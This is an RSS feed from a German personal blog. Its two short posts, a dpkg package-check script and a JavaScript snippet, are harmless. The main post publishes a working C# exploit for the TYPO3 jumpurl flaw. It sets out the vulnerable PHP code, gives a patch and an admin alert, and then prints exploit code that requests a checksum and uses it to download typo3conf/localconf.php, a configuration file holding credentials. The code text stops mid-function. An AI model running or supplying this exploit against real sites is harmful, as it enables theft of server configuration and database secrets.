<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>monkey-business.biz</title> <atom:link href="http://www.monkey-business.biz/feed/" rel="self" type="application/rss+xml" /><link>http://www.monkey-business.biz</link> <description>Belästigung der Allgemeinheit - mein privater Weblog</description> <lastBuildDate>Mon, 08 Mar 2010 21:22:26 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>daily</sy:updatePeriod> <sy:updateFrequency>4</sy:updateFrequency> <item><title>Debian: mittels dpkg prüfen ob deb Paket installiert</title><link>http://www.monkey-business.biz/692/debian-mittels-dpkg-prufen-ob-deb-paket-installiert/</link> <comments>http://www.monkey-business.biz/692/debian-mittels-dpkg-prufen-ob-deb-paket-installiert/#comments</comments> <pubDate>Sat, 06 Mar 2010 17:25:56 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Debian]]></category> <category><![CDATA[dpkg]]></category> <category><![CDATA[Shell]]></category> <category><![CDATA[Ubuntu]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=692</guid> <description><![CDATA[In diesem Artikel veröffentliche ich ein Script, das es schnell und einfach ermöglicht zu prüfen ob ein Paket installiert ist. Dieses Script kann auf allen Distributionen die den Debian Package Manager (kurz dpkg) als Programm zur Paketverwaltung verwenden eingesetzt werden. Auf jeden Fall ist es also auf Debian und Ubuntu funktional. Es wird mit Hilfe [...]]]></description> <content:encoded><![CDATA[<p>In diesem Artikel veröffentliche ich ein Script, das es schnell und einfach ermöglicht zu prüfen ob ein Paket installiert ist. Dieses Script kann auf allen Distributionen die den Debian Package Manager (kurz dpkg) als Programm zur Paketverwaltung verwenden eingesetzt werden. Auf jeden Fall ist es also auf Debian und Ubuntu funktional. Es wird mit Hilfe von dpkg und grep geprüft ob ein deb Paket den Suchstring im Namen hat.</p><p>Der Inhalt meines Scriptes dpkgcheck.sh:</p><div
class="wp_syntax"><div
class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#! /bin/sh</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;$1&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #c20cb9; font-weight: bold;">dpkg</span> <span style="color: #660033;">--get-selections</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">xargs</span> <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #ff0000;">&quot;$1&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span>
<span style="color: #000000; font-weight: bold;">else</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;#<span style="color: #000099; font-weight: bold;">\n</span># dpkgcheck.sh - searchs installed deb pakages<span style="color: #000099; font-weight: bold;">\n</span># Usage: ./dpkgcheck.sh &lt;name&gt; <span style="color: #000099; font-weight: bold;">\n</span>#&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span></pre></div></div><p>Sollte das Script keine Ausgabe haben ist kein Paket installiert das den erforderlichen Suchstring im Paketname hat. Vergesst nicht dem Script vor dem Ausführen x zu geben (chmod +x &lt;name&gt;).</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/692/debian-mittels-dpkg-prufen-ob-deb-paket-installiert/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Javascript: prüfen ob ein Element existiert</title><link>http://www.monkey-business.biz/672/javascript-prufen-ob-ein-element-existiert/</link> <comments>http://www.monkey-business.biz/672/javascript-prufen-ob-ein-element-existiert/#comments</comments> <pubDate>Thu, 25 Feb 2010 15:48:09 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[Entwicklung]]></category> <category><![CDATA[Javascript]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=672</guid> <description><![CDATA[Da die Statistik sehr viele Suchanfragen nach dem oben betitelten Thema verzeichnet, habe ich mich entschlossen darüber zu schreiben. Allgemein ist &#8220;Javascript: prüfen ob ein Element existiert&#8221; ein gutes Google Thema. In Javascript ist das prüfen ob ein Element existiert bzw. vorhanden ist ebenso einfach wie in jQuery. Zum Javascriptcode:if &#40;document.getElementById&#40;'divname'&#41;&#41; &#123;
// Code ausführen, wenn [...]]]></description> <content:encoded><![CDATA[<p>Da die Statistik sehr viele Suchanfragen nach dem oben betitelten Thema verzeichnet, habe ich mich entschlossen darüber zu schreiben. Allgemein ist &#8220;Javascript: prüfen ob ein Element existiert&#8221; ein gutes Google Thema. In Javascript ist das prüfen ob ein Element existiert bzw. vorhanden ist ebenso einfach wie in <a
href="/119/jquery-prufen-ob-ein-element-existiert/" title="jQuery: prüfen ob ein Element existiert">jQuery</a>. Zum Javascriptcode:</p><div
class="wp_syntax"><div
class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>document.<span style="color: #660066;">getElementById</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'divname'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #006600; font-style: italic;">// Code ausführen, wenn DIV Element vorhanden. Funktioniert!</span>
<span style="color: #009900;">&#125;</span></pre></div></div><p>Der Selektor ist in purem Javascript auf die div id beschränkt. Sehr ärgerlich ist das hierbei keine Klassen selektiert werden können. <a
href="/119/jquery-prufen-ob-ein-element-existiert/" title="jQuery: prüfen ob ein Element existiert">jQuery</a> bietet diese Möglichkeit.</p> ]]></content:encoded> <wfw:commentRss>http://www.monkey-business.biz/672/javascript-prufen-ob-ein-element-existiert/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>C#: Typo3 Jumpurl Exploit</title><link>http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/</link> <comments>http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/#comments</comments> <pubDate>Sat, 20 Feb 2010 19:42:04 +0000</pubDate> <dc:creator>Loaden</dc:creator> <category><![CDATA[Belästigung der Allgemeinheit - mein privater Weblog]]></category> <category><![CDATA[C#]]></category> <category><![CDATA[Exploit]]></category> <category><![CDATA[Jumpurl]]></category> <category><![CDATA[Typo3]]></category><guid
isPermaLink="false">http://www.monkey-business.biz/?p=495</guid> <description><![CDATA[Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.
Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination [...]]]></description> <content:encoded><![CDATA[<p>Um es mir zu ermöglichen Typo3 Installationen von Windows System aus auf die Jumpurl Sicherheitslückezu überprüfen, habe ich mir einen Exploit in C# programmiert. Ich veröffentliche den Exploit erst jetzt, weil inzwischen die meisten Systeme gefixt sein sollten. Zunächst möchte ich die Vorgehensweise des Exploits beschreiben.</p><p>Als erstes wird ein HTTP Anfrage mit einer bestimmten Kombination an GET Parametern an Typo3 gesandt. Die Antwort dieser Anfrage wird eingelesen und die Prüfsumme die in der Antwort steht ausgelesen. Nun wird eine zweite Anfrage an das Typo3 System gesandt. Diese Abfrage ist eine Downloadanforderung für eine Datei, welche mit der Prüfsumme aus der zuvor erhaltenen Anfrage validiert wird.</p><p>Verwundbar sind die Typo3 Versionen TYPO3 < 4.2.6, TYPO3 < 4.1.10 und TYPO3 < 4.0.12. In den Typo3 Versionen < 4 findest du die fehlerhafte Datei in "tslib/class.tslib_fe.php". In den Versionen >= 4 ist die Datei unter &#8220;typo3/sysext/cms/tslib/class.tslib_fe.php&#8221; zu finden. Schauen wir uns den verwundbaren Quellcodeabschnitt mit Vorgangs relevanten Kommentaren Typo3 aus an:</p><div
class="wp_syntax"><div
class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">## Prüfen ob $_GET['jumpurl'] nicht leer ist
</span><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">## Prüfen ob $_GET['juSecure'] nicht leer ist
</span>    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>t3lib_div<span style="color: #339933;">::</span>_GP<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'juSecure'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$hArr</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #339933;">,</span>
            t3lib_div<span style="color: #339933;">::</span>_GP<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'locationData'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">TYPO3_CONF_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SYS'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'encryptionKey'</span><span style="color: #009900;">&#93;</span>
        <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$calcJuHash</span><span style="color: #339933;">=</span>t3lib_div<span style="color: #339933;">::</span><span style="color: #004000;">shortMD5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">serialize</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$hArr</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$locationData</span> <span style="color: #339933;">=</span> t3lib_div<span style="color: #339933;">::</span>_GP<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'locationData'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$juHash</span> <span style="color: #339933;">=</span> t3lib_div<span style="color: #339933;">::</span>_GP<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'juHash'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
</span>        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$juHash</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$calcJuHash</span><span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
&nbsp;
            <span style="color: #666666; font-style: italic;">## $_GET['locationData'] überprüfen
</span>            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">locDataCheck</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$locationData</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>	<span style="color: #009900;">&#123;</span>
                <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">rawurldecode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>t3lib_div<span style="color: #339933;">::</span><span style="color: #004000;">verifyFilenameAgainstDenyPattern</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #0000ff;">'typo3conf'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000088;">$mimeType</span> <span style="color: #339933;">=</span> t3lib_div<span style="color: #339933;">::</span>_GP<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'mimeType'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000088;">$mimeType</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mimeType</span> ? <span style="color: #000088;">$mimeType</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">'application/octet-stream'</span><span style="color: #339933;">;</span>
&nbsp;
                        <span style="color: #666666; font-style: italic;">## Das Senden der Datei
</span>                        <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Cache-Control: must-revalidate, post-check=0, pre-check=0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Content-Type: '</span><span style="color: #339933;">.</span><span style="color: #000088;">$mimeType</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Content-Disposition: attachment; filename='</span><span style="color: #339933;">.</span><span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">readfile</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: &quot;'</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">jumpurl</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'&quot; was not a valid file!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: locationData, '</span><span style="color: #339933;">.</span><span style="color: #000088;">$locationData</span><span style="color: #339933;">.</span><span style="color: #0000ff;">', was not accessible.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #666666; font-style: italic;">## Hier findet die Ausgabe der Prüfsumme statt
</span>        <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: Calculated juHash, '</span><span style="color: #339933;">.</span><span style="color: #000088;">$calcJuHash</span><span style="color: #339933;">.</span><span style="color: #0000ff;">', did not match the submitted juHash.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></pre></div></div><p>Die Sicherheitslücke kann durch das ersetzen von:</p><div
class="wp_syntax"><div
class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: Calculated juHash, '</span><span style="color: #339933;">.</span><span style="color: #000088;">$calcJuHash</span><span style="color: #339933;">.</span><span style="color: #0000ff;">', did not match the submitted juHash.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>durch:</p><div
class="wp_syntax"><div
class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'jumpurl Secure: Calculated juHash did not match the submitted juHash.'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div><p>geschlossen werden. Natürlich kannst du potentiellen Angreifern auch eine Nachricht hinterlassen oder dich über einen Angriff und den Angreifer informieren lassen. Ein kleines Beispiel hierzu:</p><div
class="wp_syntax"><div
class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #990000;">mail</span><span style="color: #009900;">&#40;</span>
		<span style="color: #0000ff;">'mail@example.com'</span><span style="color: #339933;">,</span> <span style="color: #666666; font-style: italic;">## Hier musst du deine E-Mail Adresse eintragen
</span>		<span style="color: #0000ff;">'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">') via Jumpurl'</span><span style="color: #339933;">,</span>		
		<span style="color: #0000ff;">&quot;IP:<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REMOTE_ADDR'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span>
		<span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>Uhrzeit:<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'d.m.Y H:i:s'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'REQUEST_TIME'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>
		<span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>GET Parameter:<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'QUERY_STRING'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>
		<span style="color: #0000ff;">&quot;Content-type: text/plain; charset=utf-8<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">exit</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;p&gt;Der Systemadministrator wurde benachrichtigt.&lt;/p&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div><p>(Der zu ersetzende Teil bezieht sich auf den oben angesprochenen Fehlerhaften Quellcodeabschnitt)</p><p>Der C# Quellcode basiert auf der get_http_as_string Funktion die bereits in einem <a
href="http://www.monkey-business.biz/497/c-internetseite-als-string-zuruckgeben/" title="C#: Internetseite als String zurückgeben">anderen Artikel</a> besprochen wurde. Das ist der, wie immer gut kommentierte, C# Exploit Quellcode für die Typo3 Sicheitslücke:</p><div
class="wp_syntax"><div
class="code"><pre class="csharp" style="font-family:monospace;"><span style="color: #008080; font-style: italic;">/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */</span>
<span style="color: #0600FF;">public</span> <span style="color: #0600FF;">static</span> <span style="color: #0600FF;">void</span> Main<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">string</span><span style="color: #000000;">&#91;</span><span style="color: #000000;">&#93;</span> args<span style="color: #000000;">&#41;</span>
<span style="color: #000000;">&#123;</span>
        <span style="color: #008080; font-style: italic;">// Prüfe ob arg[0] vorhanden</span>
	<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>args.<span style="color: #0000FF;">Length</span> <span style="color: #008000;">&gt;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span> 
        <span style="color: #000000;">&#123;</span>
                <span style="color: #008080; font-style: italic;">// Regulärer Ausdruck für die URL Validierung         </span>
		Regex r <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> Regex<span style="color: #000000;">&#40;</span><span style="color: #666666;">@&quot;^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[/a-zA-Z0-9]/$&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                <span style="color: #008080; font-style: italic;">// Prüfe ob URL valide anhand des Regulären Ausdrucks		</span>
		<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>r.<span style="color: #0000FF;">IsMatch</span><span style="color: #000000;">&#40;</span>args<span style="color: #000000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #000000;">&#93;</span><span style="color: #000000;">&#41;</span><span style="color: #000000;">&#41;</span>
		<span style="color: #000000;">&#123;</span>
			<span style="color: #FF0000;">string</span> file <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;&quot;</span><span style="color: #008000;">;</span>
&nbsp;
                        <span style="color: #008080; font-style: italic;">// Prüfe ob arg[1] vorhanden</span>
			<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>args.<span style="color: #0000FF;">Length</span> <span style="color: #008000;">&gt;</span> <span style="color: #FF0000;">1</span><span style="color: #000000;">&#41;</span> 
			<span style="color: #000000;">&#123;</span>
&nbsp;
                               <span style="color: #008080; font-style: italic;">// Prüfe ob arg[1] nicht leer ist  </span>
				<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>args<span style="color: #000000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #000000;">&#93;</span>.<span style="color: #0000FF;">Length</span> <span style="color: #008000;">&gt;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span> 
				<span style="color: #000000;">&#123;</span>
					file <span style="color: #008000;">=</span> args<span style="color: #000000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #000000;">&#93;</span><span style="color: #008000;">;</span>
				<span style="color: #000000;">&#125;</span>
				<span style="color: #0600FF;">else</span> 
				<span style="color: #000000;">&#123;</span>
					file <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;typo3conf/localconf.php&quot;</span><span style="color: #008000;">;</span>
				<span style="color: #000000;">&#125;</span>
			<span style="color: #000000;">&#125;</span>
			<span style="color: #0600FF;">else</span> 
			<span style="color: #000000;">&#123;</span>
				file <span style="color: #008000;">=</span> <span style="color: #666666;">&quot;typo3conf/localconf.php&quot;</span><span style="color: #008000;">;</span>
			<span style="color: #000000;">&#125;</span>
&nbsp;
                        <span style="color: #008080; font-style: italic;">// Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme</span>
			<span style="color: #FF0000;">string</span> content <span style="color: #008000;">=</span> http_get_as_string<span style="color: #000000;">&#40;</span>args<span style="color: #000000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #000000;">&#93;</span> <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;index.php?jumpurl=&quot;</span> <span style="color: #008000;">+</span> file <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;&amp;juSecure=1&amp;locationData=1:&quot;</span>, <span style="color: #FF0000;">8192</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                        <span style="color: #008080; font-style: italic;">// Prüfe ob Ausgabe vorhanden</span>
			<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>content.<span style="color: #0000FF;">Length</span> <span style="color: #008000;">&gt;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
&nbsp;
                                <span style="color: #008080; font-style: italic;">// Regulärer Ausdruck für die Prüfsumme</span>
				r <span style="color: #008000;">=</span> <span style="color: #008000;">new</span> Regex<span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;([a-f0-9]{10})+&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                                <span style="color: #008080; font-style: italic;">// Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden</span>
				Match m <span style="color: #008000;">=</span> r.<span style="color: #0000FF;">Match</span><span style="color: #000000;">&#40;</span>content<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
&nbsp;
                                <span style="color: #008080; font-style: italic;">// Prüfe ob die Prüfsumme gefunden wurde</span>
				<span style="color: #0600FF;">if</span> <span style="color: #000000;">&#40;</span>m.<span style="color: #0000FF;">Length</span> <span style="color: #008000;">&gt;</span> <span style="color: #FF0000;">0</span><span style="color: #000000;">&#41;</span>
				<span style="color: #000000;">&#123;</span>
                                        <span style="color: #008080; font-style: italic;">// Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.</span>
					content <span style="color: #008000;">=</span> http_get_as_string<span style="color: #000000;">&#40;</span>args<span style="color: #000000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #000000;">&#93;</span> <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;index.php?jumpurl=&quot;</span> <span style="color: #008000;">+</span> file <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;&amp;juSecure=1&amp;locationData=1:&amp;juHash=&quot;</span> <span style="color: #008000;">+</span> m.<span style="color: #0000FF;">Value</span>, <span style="color: #FF0000;">8192</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
					Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# File content:&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
					Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span>content<span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
					Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Attack successful!&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
				<span style="color: #000000;">&#125;</span>
				<span style="color: #0600FF;">else</span>
				<span style="color: #000000;">&#123;</span>
					Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Hash indeterminate );&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
				<span style="color: #000000;">&#125;</span>	
			<span style="color: #000000;">&#125;</span>
			<span style="color: #0600FF;">else</span>
			<span style="color: #000000;">&#123;</span>
				Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Something is going really wrong. Maybe the URL?&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>
			<span style="color: #000000;">&#125;</span>
		<span style="color: #000000;">&#125;</span>
		<span style="color: #0600FF;">else</span>
		<span style="color: #000000;">&#123;</span>
			Console.<span style="color: #0000FF;">WriteLine</span><span style="color: #000000;">&#40;</span><span style="color: #666666;">&quot;# Wrong URL format. Try this: http://&lt;domainname&gt;.&lt;tld&gt;/&lt;dir[OPTIONAL]&gt;/&quot;</span><span style="color: #000000;">&#41;</span><span style="color: #008000;">;</span>	
		<span style="color: #000000;">&#125;</span>
	<span style="color: #000000;">&#125;</span>
	<span style="color: #0600FF;">else</span> 
	<span style="color: #000000;">&#123;</span>
